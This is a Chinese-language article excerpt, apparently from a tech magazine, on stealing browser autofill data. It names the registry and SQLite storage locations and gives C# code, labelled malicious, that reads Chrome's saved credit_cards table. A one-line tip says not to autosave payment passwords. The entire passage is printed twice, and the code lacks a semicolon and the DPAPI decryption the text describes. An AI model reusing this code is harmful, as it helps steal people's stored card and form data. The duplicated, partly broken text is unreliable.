论文部分内容阅读
说到窃取密码,大家想到的是木马、键盘记录器之类的黑客工具,然而通过正规的渠道也可以办到哟!这到底是怎么回事?每款浏览器都设计了自动填充功能,通过特殊方法就可以获得自动填充的重要数据。
自动填充功能,通过表单的形式保存用户经常输入的各种数据,但用户需要用到这些数据时浏览器会自动填充到正确的表单字段中,如此就可以提高上网效率避免经常重复输入各种数据。不同浏览器保存自动填充数据的位置不一样,例如IE浏览器和Edge浏览器会将数据存储在注册表键值中,HKEY_CURRENT_ USER\Software\Microsoft\InternetExplorer\IntelliForms\FormData、HKEY_CURRENT_USER\ Software\Classes\LocalSettings\ Software\Microsoft\Windows\ CurrentVersion等都是目标位置,而Chrome浏览器、Firefox浏览器等会将数据存储在SQLite数据库文件中。
不管是哪款浏览器,在存储数据之前都会利用Windows DPAPI(数据保护应用编程接口)进行加密,在填充之前再利用DPAPI进行解密,整个加密和解密过程完全不需要用户干预,因此通过模仿浏览器调用DPAPI的方式来窃取数据——窃取Chrome浏览器自动填充功能数据的恶意代码如下所示:
string SQLiteFilePath
=Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)+"\\Google\\Chrome\\User
Data\\Default\\Web Data";
string tableName = "credit_cards";
string ConnectionString = "data source=" + SQLiteFilePath +";New=True;UseUTF16Encoding=True";
string sql = string.Format("SELECT * FROM {0} ", tableName);
SQLiteConnection connect = new SQLiteConnection(ConnectionString)
SQLiteCommand command = new SQLiteCommand(sql, connect);
SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
DataTable DB = new DataTable();
adapter.Fill(DB);
預防这个攻击的方法是类似银行密码、支付密码等重要的数据不自动保存,其他数据酌情考虑,毕竟被盗了危害也相对小得多。
自动填充功能,通过表单的形式保存用户经常输入的各种数据,但用户需要用到这些数据时浏览器会自动填充到正确的表单字段中,如此就可以提高上网效率避免经常重复输入各种数据。不同浏览器保存自动填充数据的位置不一样,例如IE浏览器和Edge浏览器会将数据存储在注册表键值中,HKEY_CURRENT_ USER\Software\Microsoft\InternetExplorer\IntelliForms\FormData、HKEY_CURRENT_USER\ Software\Classes\LocalSettings\ Software\Microsoft\Windows\ CurrentVersion等都是目标位置,而Chrome浏览器、Firefox浏览器等会将数据存储在SQLite数据库文件中。
不管是哪款浏览器,在存储数据之前都会利用Windows DPAPI(数据保护应用编程接口)进行加密,在填充之前再利用DPAPI进行解密,整个加密和解密过程完全不需要用户干预,因此通过模仿浏览器调用DPAPI的方式来窃取数据——窃取Chrome浏览器自动填充功能数据的恶意代码如下所示:
string SQLiteFilePath
=Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)+"\\Google\\Chrome\\User
Data\\Default\\Web Data";
string tableName = "credit_cards";
string ConnectionString = "data source=" + SQLiteFilePath +";New=True;UseUTF16Encoding=True";
string sql = string.Format("SELECT * FROM {0} ", tableName);
SQLiteConnection connect = new SQLiteConnection(ConnectionString)
SQLiteCommand command = new SQLiteCommand(sql, connect);
SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
DataTable DB = new DataTable();
adapter.Fill(DB);
預防这个攻击的方法是类似银行密码、支付密码等重要的数据不自动保存,其他数据酌情考虑,毕竟被盗了危害也相对小得多。